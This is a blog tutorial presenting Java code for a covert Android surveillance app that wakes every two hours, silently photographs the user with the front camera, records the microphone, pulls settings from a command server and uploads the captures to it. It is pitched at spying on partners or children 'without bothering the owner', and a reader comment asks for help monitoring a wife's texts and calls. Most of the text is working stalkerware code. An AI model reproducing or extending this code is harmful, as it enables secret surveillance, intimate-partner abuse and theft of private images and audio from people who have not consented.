How to keep an eye on someone through an Android phone without bothering the owner

Everyone cares about their significant others' security. We all know that feeling when your calls are not answered and your Whatsapp messages not marked as read. In a moment like that you would do a lot to have any idea what is happening there. Although cell phone carriers offer geolocation services to locate another user, knowing your girlfriend is somewhere in the middle of Main Street will barely help. So what can we do about it?


WARNING


All the information was obtained through author's personal research and is published for educational purposes. Neither the editorial staff nor the the author bear any responsibility for any damage caused by the intervention in the OS performance.

Setting goals

It's a good thing we live in happy times when just several lines of code can make your wish come true. Let's check what we can do with a regular Android phone.

Today we're going to write a short program that will work in background mode, gathering various data we need and then send it to a specified server.

We already created a similar nice application in one of our previous articles, but it was not able to run in the background. The reason lies in the app’s activity lifecycle. You are welcome to study this subject in detail. I'll give you just a brief description: once the system registers that the user stopped using an application, it goes to the queue for unloading from the memory to clear it for other tasks. So if we want the phone to collect the data throughout the day (and night) we should see to it.

We want our application to launch every now and then to take a photo with its front camera, record a short sound sample and send it all to a certain server. To make it flexible and adjustable let’s make it download a config file to check against once in a while.

Application scheme

Application scheme

Go!

Let's first create the XML configuration file. It will be downloaded once a day and parsed with XMLPullParser. In our case we should check for opening audio and photo tags. Clearly this class allow more opportunities, so creating flexible preferences will not be a problem. The preferences proper will be saved to Shared Preferences.

XmlPullParserFactory factory = XmlPullParserFactory.newInstance();
factory.setNamespaceAware(true);
XmlPullParser parser = factory.newPullParser();

// Downloading XML-file from the specified address by GET and read it using InputStream
HttpURLConnection urlConnection = null;
URL url = new URL("http://cc.server/config.xml");
urlConnection = (HttpURLConnection) url.openConnection();
urlConnection.setRequestMethod("GET");
urlConnection.connect();
InputStream input = urlConnection.getInputStream();
parser.setInput(input, null);
int eventType = parser.getEventType();

// Checking the XML-file for opening tags
while(eventType != XmlPullParser.END_DOCUMENT)
{
    if(eventType == XmlPullParser.START_TAG)
    {
        if (parser.getName().contains("photo"))
        {ConfigUpdater.isPhoto=true;}
        else if (parser.getName().contains("audio"))
        {ConfigUpdater.isAudio=true;}
        eventType = parser.next();
    }
 }

AsyncTask class allows to perform a resource-intensive task in the background mode. For example we can download files in the background without causing lags in the main application used at that moment.

public class LoadConfig extends AsyncTask<String, Void,Boolean> {
    private Exception exception;
    @Override
    protected Boolean doInBackground(String... urls) {
        try
        {
            // running a separate process for downloading and reading the config file
                        parseXml();
        }
        catch (Exception e)
        {
            this.exception = e;
            return null;
        }
        return null;
    }
}

BroadcastReceiver class allows to sign up for receiving notifications on upcoming events in the OS. Upon receiving such notification the application will run the list of commands assigned by the developer. So after the OS registers the application as a recipient of certain notifications, it will run onReceive in appropriate class once the indicated event takes place. This works even if the phone's screen is locked or another demanding application is in use.

public void onReceive(Context context, Intent intent) {
    // We use AsyncTask to download and process the config file
    new LoadConfig().execute();
    // The results are put in SharedPreferences
    sp = context.getSharedPreferences("Config", context.MODE_PRIVATE);
    sp.edit().putBoolean("isAudio", isAudio).commit();
    sp.edit().putBoolean("isPhoto", isPhoto).commit();
}

The camera in Android can be accessed via graphical Intent or without user taking any actions. The latter makes it possible to take photos absolutely imperceptibly. We only need to determine the camera ID and use onPictureTaken method in PictureCallBack class.

private int findFrontFacingCamera() {
    int cameraId = -1;
    int numberOfCameras = Camera.getNumberOfCameras();
    for (int i = 0; i < numberOfCameras; i++)
    {
        CameraInfo info = new CameraInfo();
        Camera.getCameraInfo(i, info);
        // Looking through all the cameras to select the front camera
        if (info.facing == CameraInfo.CAMERA_FACING_FRONT)
        {
            cameraId = i;
            break;
        }
    }
    return cameraId;
}
cameraId = findFrontFacingCamera();

// Creating a new instance of the PhotoHandler class. We need it for saving a photo
PhotoHandler phHandler = new PhotoHandler(camera);
phHandler.setFile(file);
camera.reconnect();
camera.startPreview();
camera.takePicture(null, null,phHandler);

Here is how the PhotoHandler is carried out. When creating a photo the OS will call the onPictureTaken method. It will receive a byte array containing the photo as its argument.

public class PhotoHandler implements PictureCallback {
    @Override
    public void onPictureTaken(byte[] data, Camera camera) {
        // Writing the byte array in the file
                FileOutputStream fos = new FileOutputStream(pictureFile);
        fos.write(data);
        fos.close();
        ourCamera.release();
        ...
    }
}

Recording the mic input will be just as easy. We will use MediaRecorder to do it. This class allows to record sound and video depending on the parameters we set. We will work only with sound this time.

MediaRecorder myAudioRecorder;
String outputFile = audioFile.toString();
myAudioRecorder=new MediaRecorder();

// The sound should be recorded from the mic to 3GP format, sound processing algorithm AMR_NB myAudioRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
myAudioRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
myAudioRecorder.setAudioEncoder(MediaRecorder.OutputFormat.AMR_NB);

According to the manual, the method (onReceive) called by BroadcastReceived will be terminated after 10 seconds. To record a longer sample we will create a separate thread using the Service class.

Intent audioIntent = new Intent(context, AudioService.class);
context.startService(audioIntent);

When the service is started, the mic sound will be recorded by the onHandleIntent method.

public class AudioService extends IntentService {
    @Override
    protected void onHandleIntent(Intent intent) {
        recordAudio();
    }
    ...
}

The easiest way to upload the data is an ordinary POST request. We will use the HttpUrlConnection class for it.

FileInputStream fileInputStream = new FileInputStream(new File(myFile) );
URL myUrl = new URL("http://cc.server/upload.php");
HttpURLConnection connection = (HttpURLConnection) myUrl.openConnection();
connection.setDoInput(true);
connection.setDoOutput(true);
connection.setUseCaches(false);

// Initializing the POST request
connection.setRequestMethod("POST");
connection.setRequestProperty("Connection", "Keep-Alive");
connection.setRequestProperty("Content-Type", "multipart/form-data;boundary="+boundary);

// Opening a connection with the server and sending the file outputStream = new DataOutputStream( connection.getOutputStream() );
outputStream.writeBytes(twoHyphens + boundary + lineEnd);

// Describing the request content according to RFC 1806
outputStream.writeBytes("Content-Disposition: form-data; name=\"uploadedfile\";filename=\"" + myFile +"\"" + lineEnd);
outputStream.writeBytes(lineEnd);
bytesAvailable = fileInputStream.available();
bufferSize = Math.min(bytesAvailable, maxBufferSize);
buffer = new byte[bufferSize];

// Reading the file into buffer at the same time fixing its size
bytesRead = fileInputStream.read(buffer, 0, bufferSize);
while (bytesRead > 0)
{
    outputStream.write(buffer, 0, bufferSize);
    bytesAvailable = fileInputStream.available();
    bufferSize = Math.min(bytesAvailable, maxBufferSize);
    bytesRead = fileInputStream.read(buffer, 0, bufferSize);
}
outputStream.writeBytes(lineEnd);
outputStream.writeBytes(twoHyphens + boundary + twoHyphens + lineEnd);
Uploaded files

Uploaded files

Now to make it all work we will enable our application to get system events notifications. The AlarmManager class allows us to schedule the launch of our application, let's make it every two hours. You are welcome to read the manual for more information.

Intent intentConfig = new Intent(this, ConfigUpdater.class);
PendingIntent pIConfig = PendingIntent.getBroadcast(this.getApplicationContext(), 31337, intentConfig, 0);
AlarmManager aMConfig = (AlarmManager) getSystemService(ALARM_SERVICE);

// From now on the app will start every two hours
aMConfig.setRepeating(AlarmManager.RTC_WAKEUP, System.currentTimeMillis(), 7200000, pIConfig);

We also need to modify the AndroidManifest file so that our application could get permissions from the OS for creating files, Internet access, taking photographs, sound recording and reacting upon system events. During the installation of the app the system will notify the user about all the above (except for the system events). This is why it is important to pay attention to what permissions you give to an application. If a solitaire app requests permission to use the camera, it might be a malware solitaire.

INFO


Here we have described only a small part of the possibilities one can exploit. Now it’s clear why on a crucial meeting you should switch off your mobile phone and not just switch it to the airplane mode.

Well, that's it. Now your child, wife or your geek cat are free to go. Don't forget to notify them in advance about their brand new life logging capabilities. We do not want to spy on people here, don't we? We wish you good luck and peace of mind.


2 Responses to “How to keep an eye on someone through an Android phone without bothering the owner”

  1. Hi, I’m not very good with all this, but im looking for a way to find out if my wife is cheating on me. do you think you could help me out? she has an android cellphone and a iphone for her work. is there any apps that I can remotely send to her phones so I can see her txts and record her calls?

Leave a Reply

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>